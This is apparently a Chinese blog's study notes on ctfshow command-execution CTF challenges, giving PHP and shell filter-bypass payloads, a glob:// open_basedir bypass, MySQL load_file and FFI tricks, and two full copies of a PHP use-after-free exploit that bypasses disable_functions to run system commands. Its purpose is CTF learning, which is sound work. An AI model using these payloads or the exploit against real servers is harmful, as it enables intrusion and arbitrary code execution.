ctfshow 命令执行 刷题记录

目录

web29.

 web30.

 web31.

web32.

 web33.

web34.

web35.

web36.

web37.

web38.

 web39.

web40. 

web41.

 web42.

 web43.

 web44.

web45.

 web46.

 web47.

web48.

 web49.

 web50.

web51.

web52.

web53.

 web54.

 web55.

 web56.

web57.

 web58.

web59.

 web60.

 web61.

 web62.

 web63.

 web64.

web65.

web66.

 web67.

web68. 

 web69.

web70. 

web71.

 web72.

web73. 

 web74.

web75.

web76.

 web77.

 web118.

 web119.

web120.

 web121.

 web122.

web124.

web29.

这种题一般都可以先写入phpinfo();进去看是否成功执行

 

 也可以这样写。

这道题使用cat more rev啥的执行命令都不行,然后就只有tac能行。

这样就可以拿到flag.

这道题时是先去 用system查看当前目录下有什么文件。

 然后发现在当前网站的目录下,就可以直接去tac拿到flag,因为flag被过滤了,只能用通配符绕过,

解法一:   system('tac /f*');

解法二:   file_get_contents("flag.php")  //不能用的原因是把flag过滤了,用不了

解法三:    system(’cp fl?g.php 1.txt');   然后去访问1.txt就行   这个的意思是把flag.php里面的内容写给1.txt.      ///cp  可以用mv来替代

 web30.

这道题把这些过滤掉了 ,那么上一题的方法就全部用不了了

就只用用        ``    这个符号来替代system       ``        这个符号在php和linux里代表的是命令执行,和system原理一样。

 

 然后去访问1.txt,就能拿到flag.

 解法二

preg_match函数过滤system函数,但是php中执行方法的函数有很多,比如passthru、exec,shell_exec等 ,注意exec对执行的结果不输出

passthrusystem的作用是一样的,解题的姿势有很多

 

 

 exec()函数执行

 

 解法三

在php中echo ·命令·;也是可行并能执行输出的

<?php system('$_GET[a]');?>等同于<?php echo`$_GET[a]``;?>

 

 

一样的结果。 

总结

解法一:  ``来替代system()

解法二:  passthru()和exec()来替代 system()

解法三:  echo 加`` 来替代system();

 web31.

这道题就是过滤了很多东西

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

以前只知道这个是过滤前面的关键字,现在的话了解到了一个|\.|这个是过滤了.

|\'这个是过滤了单引号      有了新收获

 那么现在来解题,利用的是eval()当跳板,来使GET的参数逃逸出去,不会被正则匹配过滤

http://b0463f71-e09e-47ab-808f-30733b9e00b2.challenge.ctf.show/?c=eval($_GET[a]);&a=system('ls');

这个的意思让a当跳板,让a来替代c来执行。那么a就可以随便用了,就不会存在被过滤的情况。

 最后拿到flag,查看源码的原因是,php文件不会显示出来,得查看源码才能显示出来,或者使用tac也可以,这个可以使源码显示出来,就不用出查看源码了。

web32.

这道题过滤挺多东西的,前面学的方法基本不能用了

这次用到了也是利用函数当跳板,利用include来当跳板

/?c=include%0a$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

 因为   ;   被过滤了,只能用?>来替代,因为拿这个来替代以后,语句后面就不能来直接读取flag了。只能通过php伪协议来读取。

 然后去解码就可以拿到flag了。

 web33.

?c=require%0b$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

思路和web32是一样的。

web34.

可以用  echo print isset unset include require 来写    这些方法的用途上面都写到了

 解法和上一题一样,就不多赘述了。

web35.

 解法和上一题一样,就不多赘述了。

web36.

 这题的解法和上一题一样,只是有一个差别就是不能用数字了

?c=require%0b$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

 这样写就可以了。

web37.

 可以使用php伪协议中的data协议来读取

?c=data://text//plain,<?php system('tac f*');?> 

?c=data://text//plain,<?php system('tac f*');?>        这个协议的意思就是把text//plain,后面的语句当成php语句来执行。 

php://filter/read=convert.base64-encode/resource=[文件名]
//不能用的原因是flag.php被过滤了,这里必须得用完整的名字才行,通配符不行。

web38.

php短标签

这道题的php被过滤了,就可以用短标签来替代。

 ?c=data://text//plain,<?= system('tac f*');?>

 web39.

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");  //给我们加了个后缀   '.php'
    }
        
}else{
    highlight_file(__FILE__);
}

接着可以去用data协议来解

这个只是后缀加了个.php文件,影响不大。

?c=data://text//plain,<?php system('tac f*');?>

 这个加了后缀的文件包含执行的时候实际是这样的

?c=data://text//plain,<?php system('tac f*');?>.php   

但是代码是先执行前面的语句的,所以影响不是很大

 

web40. 


<?php
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
}
因为''等等被过滤了,相当于无参数rce

/?c=var_dump(scandir(current(localeconv()))); 
localeconv() 返回一包含本地数字及货币格式信息的数组,该数组第一个元素是.
current() 返回数组中的当前元素的值。每个数组中都有一个内部的指针指向它的"当前"元素,初始指向插入到数组中的第一个元素。

读文件

?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
array_reverse()函数以相反的元素顺序返回数组
next() 将内部指针指向数组中的下一个元素

//这样写的原因我猜测应该是,早知道当前网站目录就两个文件,flag.php和index.php,然后用数组逆序,使两个文件交换位置,然后用next指向flag.php,因为初始指的都是第一个文件,然后用next就能指到flag.php

 解法二:

GXYCTF的禁止套娃 通过cookie获得参数进行命令执行

c=session_start();system(session_id());
PHPSEEDID  // 这里进行命令执行

 解法三:

先打印当前所有变量

?c=print_r(get_defined_vars());

 

 因为有post值,这是个突破口,所以post传参看看是否可行。

 可以用来进行rce

next() 将内部指针指向数组中的下一个元素

 所以进行next()就会指向phpinfo().

 接下来进行数组弹出,把数组里面的value进行弹出,并且用print给打印出来。

array_pop():数组弹出

能够成功弹出,接下来就进行命令执行 

 发现能够成功执行,接下来就可以进行post  rce了。

 最后拿到flag.

web41.

这道题的考点是用异或来构造字符进行命令执行

('phpinfo')();    //这道题的考点就是这个,这样也是可以成功执行的。

利用二进制数进行或运算来得到16进制,然后用16进制来找对应的ascii码来构造playload

 

就是类似这样构造。

//这道题再给我的话,我应该是做不出的,这个py脚本不会写 

 web42.

这道题是system的命令执行,前面的是eval和include

首先查看这个代码,发现了一个新东西,就是 

>/dev/null 2>&1    //就是这个新东西

 Shell脚本———— /dev/null 2>&1详解 - Tinywan - 博客园

这篇博客,大概介绍了一下,可以去看看。

回归到这道题,我们可以利用分号来绕过这个黑洞

 就是xxxx那块,可以随便输东西进去就可以,因为输了东西进去就可以让黑洞执行,前面的代码有分号隔开,就不会有影响,就可以直接输出。

 web43.

 分号被过滤可用连接符替代    这道题试了下  %0a  也可以。

 &&得进行url编码     ||不需要进行编码,直接就可以用。

 web44.

 和上一题一样的解法。

web45.

 这题和上一题一样,就多了个空格过滤。

 %09   也可以当空格用

 web46.

1.      ?  这个通配符代表的是一位,*代表的是多位,这是这两个的区别

2.     %09里面虽然有数字,但是它解码以后是一个水平制表符,不属于数字,所以可以用 

 web47.

 和上一题解法 一样

web48.


和上一题一样

 web49.

和上一题解法一样

 web50.

这道题的话,空格都被限制完了,得用到一个新姿势了

nl<fla""g.php      //这个不能用通配符的原因是nl不支持,就只能用""两个单引号或者双引号绕过了。

 

 查看源码就能看到flag.

web51.

和 上一题一样

web52.

 可以看到这个把很多获取文件内容的指令都给过滤了    那么就可以考虑nl和cp了

 因为尝试过直接读取flag,然后查到了个假的flag。

 

 然后查看根目录

ls /       查看根目录指令

 

 发现存在flag目录,就可以读取了

解法一:

nl${IFS}/fl""ag||aa     //利用nl

 解法二:    利用cp或者mv(这个是重命名)

?c=cp${IFS}/fl?g${IFS}/var/www/html/k.txt||qq

 最后访问k.txt就能拿到flag.

web53.

这道题和web52一样的解法,这是这次的flag在当前网站目录,不在根目录,解法一样

也可以使用ta""c  或者ca""t   来执行,但是c?t却不行,我也不知道为什么。

 web54.

|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.

 这个正则匹配的星号和点号的含义。 

点号是:任意字符

星号是:出现的次数

 \s表示空白符,如:换行,回车,空格,tab空格,翻页等
*要求前面字符重复0次或多次
/,\s*/匹配逗号加任意多个空格(也可以没有空格).如:

1.","
2.", "
3.",

"(已经换到另一行)

 这是个例子,可以看来学习

所以由以上的学习可知,ca""t    和nl fl""ag.php    都不能用了。

 所以就得用cp或者mv了

 还有另一种解法就是利用   uniq和grep来解题

grep test *file #在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行

可构造playload:

?c=uniq${IFS}????.???
?c=grep${IFS}'{'${IFS}fl???php
(在 fl???php匹配到的文件中,查找含有{的文件,并打印出包含 { 的这一行)
 

 web55.

这个是无字母进行rce     

方法一:

这题禁用了 字母 a-z ,那么我可以用 /bin/base64 flag.php

加上通配符 则为 /???/????64 ????.??? 然后他就会出现 flag.php内容的base64编码

方法二:

还有一种做法,就是使用 /usr/bin/bzip2 进行对文件的压缩

同样是使用通配符进行payload, 然后 最后访问 /flag.php.bz2进行下载压缩包

方法三:

无字母数字的命令执行(ctfshow web入门 55)_Firebasky的博客-CSDN博客_无字母数字命令执行

一些不包含数字和字母的webshell | 离别歌

无字母数字webshell之提高篇 | 离别歌

 根据这两篇的学习,来写一下自己的见解。

 为什么要用文件上传呢,因为就是 文件上传一个脚本的话   会先上传到服务器中的(文件上传文件都保存在这个位置)/tmp/phpxxxxxx(最后一位一定是大写)保存,这个谁都可以修改不需要权限,但是php这个语言对这个的处理是,在它没运行之前不会删除它,假如一共有2000行代码的话,前面1800行可能不会用到它,但是突然删除它的话,万一系统后面的两百行代码需要用到它,那么就会报错,所以php系统就选了一个折中的办法来预防这种情况,就是脚本执行后才会删除。

 

因为就是这个通配符的话,会导致很多文件同时被识别出来,无法确定该使用哪个,所以得用这个新的通配符,把^这个符号去掉的话就是代表必须得是这个[]里的内容。

 其他话我就不多写了,因为上面的文章有解题过程了。

这里还有个疑问是#!/bin/sh是干什么的(简单来说就是用来执行脚本的)

#!/bin/sh是指此脚本使用/bin/sh来解释执行,#!是特殊的表示符,其后面根的是此解释此脚本的shell的路径。

其实第一句的#!是对脚本的解释器程序路径,脚本的内容是由解释器解释的,我们可以用各种各样的解释器来写对应的脚本。

 还有就是p佬的那篇文章中

这个玩意的解释。

 

 web56.

这个是数字和字母双双过滤  是上一题的进化版

 但是解法上一题的方法三是一样的,就不多赘述了。

web57.

这道题学到的新姿势是构造数字

$(()): 做运算

a=$((~$((xx))):   值为-1  所以在先$((a+a))   就是这个样子就会输出-2

 

 刚刚试了下,就是这样子,没错

 完整playload

$((~$(($((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))))))

 

 web58.

 试了一下发现phpinfo()   system被禁用了,

然后去试了下   发现file_get_contents()和show_source()   可以用

show_source()可以不用echo

 

 然后查看源码就能拿到flag。

web59.

 和上一题一样,但是file_get_contents()被过滤了,show_souce()可以用

 用include 得配合php伪协议使用  前面有eval()   GET传参的    方法都可以尝试一遍。

 

 web60.

 又是这样的题

 方法一:show_source()

方法二: include($_GET[1])

方法三:highlight_file()

方法四:shell 来写

第一步

 第二步

 发现可执行,于是直接读取flag

第三步

 这个就是把脚本写入nginx服务器里,然后在执行。

 web61.

又是这样的题

直接用show_source()直接拿到flag。

 

 web62.

 还是这样写

show_source()  highlight_file()

还有一种新写法

 web63.

 一样的代码

show_source()   highlight_file()  直接解

还有一种新方法,和上一题一样,但是上一题是猜到了变量名,这次是不知道变量名的情况下

 get_defined_vars()是输出定义好的变量名,在知道在哪个文件下,但是不知道变量名的情况下可以使用。

 web64.

 和上一题一样

show_source()  highlight_file()

方法二:这题用不了,但可以用来积累  就是   rename('flag.php','1.txt');

学到一个新东西,分享一下   scandir()

 查看当前目录,

 查看根目录

web65.

 和上一题一样

新的方法  比较复杂的一种

这题用不了   可以当个积累。

<?php

// 创建一个curl句柄

$ch = curl_init();

// 设置访问的URL

curl_setopt($ch, CURLOPT_URL, "http://aiezu.com");

// 将curl请求执行时,将结果返回,而不是直接输出

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

// 执行curl请求,返回结果到变量

$html = curl_exec($ch);

// 关闭curl句柄

curl_close($ch);

echo strlen($html);

到时候直接?c=  把这些粘贴上去就行,然后删掉换行和注释就欧克了

web66.

这道题终于把show_source()给禁了,不能用了,就只能用  highlight_file()了

 

 这肯定不在当前目录了,于是用print_r(scandir())查到在根目录,且文件名为flag.txt。

于是直接用highlight_file('/flag.php');

 web67.

 

用上一题的解法就可以了,只不过这题把print_r()给禁了,所以换var_dump()查到在根目录。

web68. 

 打开是这样的,用include拿到flag。

 

 这里include后面也不可以不写东西,因为不是php后缀的话,会默认以html格式输出,就可以直接拿到flag了。

 web69.

 用上一道题的方法也可以

web70. 

还是这种,用上一题的方法还是可以解

 

web71.

题目给了个附件,下载拿到源码。

 ob_get_contents():    返回输出缓冲区的内容 

 

 ob_end_clean():     清空(擦除)缓冲区并关闭输出缓冲

 

preg_replace():      执行一个正则表达式的搜索和替换

 

以上就是题目出现的函数的解释了
解题:

 思路就是让这部分不执行    利用exit()来解题;

 web72.

源码和上一题一样,但是这题过滤了var_dump();  可以用var_export()来替代。

exit()也可以用die()来替代

可以用另一种写法;

但是用不了   可以当作一种积累

php文件包含目录配置open_basedir的使用与性能分析_傲雪星枫的博客-CSDN博客_open_basedir

 这篇文章介绍了open_basedir是干嘛的

 这里ini_set()被禁用了,不能用来修改open_basedir指定的路径了,所以只能换一种方法

所以要先绕过open_basedir。首先排除命令执行绕过的可能,disable_function已经禁用了命令执行函数(不知道有没有什么办法绕过)。可以使用glob伪协议绕过,glob伪协议筛选目录不受open_basedir的制约。

 下面的就是glob://伪协议绕过open_basedir

c=$a=new DirectoryIterator("glob:///*");  //""之间装的是路径,这里写的是根目录下的所有文件
foreach($a as $f)
{echo($f->__toString().' ');
}
exit(0);

 

 拿到文件名,

这里不能成功执行的原因是flag0.txt不在open_basedir规定的目录里,所以就得找一个脚本来绕过。

 这个时候我们就需要用到uaf脚本绕过,disable_function()限制了很多函数,可以直接用uaf脚本进行命令执行(post的时候得让脚本进行url编码)

c=function ctfshow($cmd) {
    global $abc, $helper, $backtrace;

    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace();
            if(!isset($backtrace[1]['args'])) {
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= sprintf("%c",($ptr & 0xff));
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = sprintf("%c",($v & 0xff));
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { 

                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { 
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) {
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) {
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {

        $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; 
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }


    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); 
    write($abc, 0xd0 + 0x68, $zif_system); 

    ($helper->b)($cmd);
    exit();
}

ctfshow("cat /flag0.txt");ob_end_flush();

 

 结束。

web73. 

 和上一题一样的办法,先查看flag在哪,叫什么名

 名字改为flagc.txt了      然后就用上一个题的脚本来绕过,但是这道题把strlen()给ban了,所以我们就想到一种办法来进行绕过,就是改函数名,用自己定义的一个函数来进行绕过。

<?php
function strlen_user($s)
{  
   $ret=0;
     for($i=0;$i<10000;$i++)
        {
            if($s[$i])
               {
                    $ret=$ret+1;


                }
              else
                {
                    break;
                }
            
        }


            return $ret;


}

就是用这个函数来代替strlen.

以下就是修改好的poc   但是题目似乎还没有修复,用不了。。。。。。。还是会显示502

c=function ctfshow($cmd) {
    global $abc, $helper, $backtrace;

    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace();
            if(!isset($backtrace[1]['args'])) {
                $backtrace = debug_backtrace();
            }
        }
    }
   function strlen_user($s)
   {  
     $ret=0;
     for($i=0;$i<10000;$i++)
        {
            if($s[$i])
               {
                    $ret=$ret+1;
                }
            else
                {
                    break;
                }
        }
            return $ret;
    }
    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= sprintf("%c",($ptr & 0xff));
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = sprintf("%c",($v & 0xff));
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen_user($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { 

                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { 
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) {
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) {
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {

        $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; 
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen_user($abc) == 79 || strlen_user($abc) == 0) {
        die("UAF failed");
    }

    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }


    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); 
    write($abc, 0xd0 + 0x68, $zif_system); 

    ($helper->b)($cmd);
    exit();
}

ctfshow("cat /flag0.txt");ob_end_flush();

 解法二:

直接include('/flagc.txt');exit();    因为这次的flagc.txt在open_basedir()设置的路径里。

 web74.

还是用glob伪协议看看flag文件叫什么名

 

 然后,直接用include包含就可以解题了。

web75.

 还是一样的题目。

这道题就是用文件包含include来做已经做不来了,然后用uaf脚本也用不了了,这里就学到一种数据库解法

第一步(先查到数据库名称)

c=$dsn = "mysql:host=localhost;dbname=information_schema";
$db = new PDO($dsn, 'root', 'root');
$rs = $db->query("select group_concat(SCHEMA_NAME) from SCHEMATA");
foreach($rs as $row){
        echo($row[0])."|"; 
}exit();

第二步

直接用load_file()查flag。(猜一下flag在ctftraining数据库里)

c=$dsn = "mysql:host=localhost;dbname=ctftraining";
$db = new PDO($dsn, 'root', 'root');
$rs = $db->query("select load_file('/flag36.txt')");
foreach($rs as $row){
        echo($row[0])."|"; 
}exit();

然后拿到flag。

web76.

 先用glob伪协议查到flag叫什么名(flag36d.txt),然后直接用上一题的pl直接拿到flag。

 web77.

题目还是这样子,但是这道题不能用PDO来连接数据库了。 

用glob伪协议      查出了根目录下的两个可疑文件     readflag   flag36x.txt

 所以

我们得换一种写法,就是利用FFI

利用php7.4的FFI

(PHP 7 >= 7.4.0, PHP 8)
FFI::cdef — Creates a new FFI object
FFI(Foreign Function Interface),即外部函数接口,是指在一种语言里调用另一种语言代码的技术。

PHP7.4中FFI的介绍(代码示例)-php教程-PHP中文网

$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > 1.txt';//将readflag里面的内容传给1.txt
$ffi->system($a);//通过$ffi去调用system函数

 ctfshow web入门 命令执行web75-77_Make-1t-0r-d1e的博客-CSDN博客_ctfshow web77

 来自这篇文章,写的很好,可以参考

linux权限的可以参考这篇文章,写的很好很全

【Linux】目录文件权限的查看和修改_lduzhenlin的博客-CSDN博客

 web118.

 

 是system()的命令执行

这道题经过fuzz测试,发现大写字母A-Z${}~.?:都可以用

所以只能构造命令来执行

 然后当前网站是在/var/www/html下面   所以可以进行构造 

${PATH:~A}${PWD:~A}${IFS}???????? === nl flag.php      //flag在flag.php是题目提示的

 ~A是指的是需要最后一位    ~0也是,但这里用不了,被过滤了。

 

 

 web119.

php代码审计前奏之ctfshow之命令执行 - FreeBuf网络安全行业门户    

这篇博客写的非常详细了,我就不写了,可以参考参考这篇博客。

这里面的HOSTNAME应该是自己去构造env看来的  或者是自己去构造echo ${HOSTNAME}看出来的

web120.

php代码审计前奏之ctfshow之命令执行 - FreeBuf网络安全行业门户

 这篇文章里的${#IFS}

 web121.

php代码审计前奏之ctfshow之命令执行 - FreeBuf网络安全行业门户

 web122.

php代码审计前奏之ctfshow之命令执行 - FreeBuf网络安全行业门户

还是这篇文章    因为讲的很详细,所以我就不写了

web124.

preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', content,content,used_funcs);

表示匹配content变量中以字母或下划线开头,后面任意数量的字母、数组、下划线组成的字符串,将所有的可能结果放在content变量中以字母或下划线开头,后面任意数量的字母、数组、下划线组成的字符串,将所有的可能结果放在used_funcs数组中。

其中,

还是这篇文章,写的真的很好,感兴趣可以去参考参考。

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值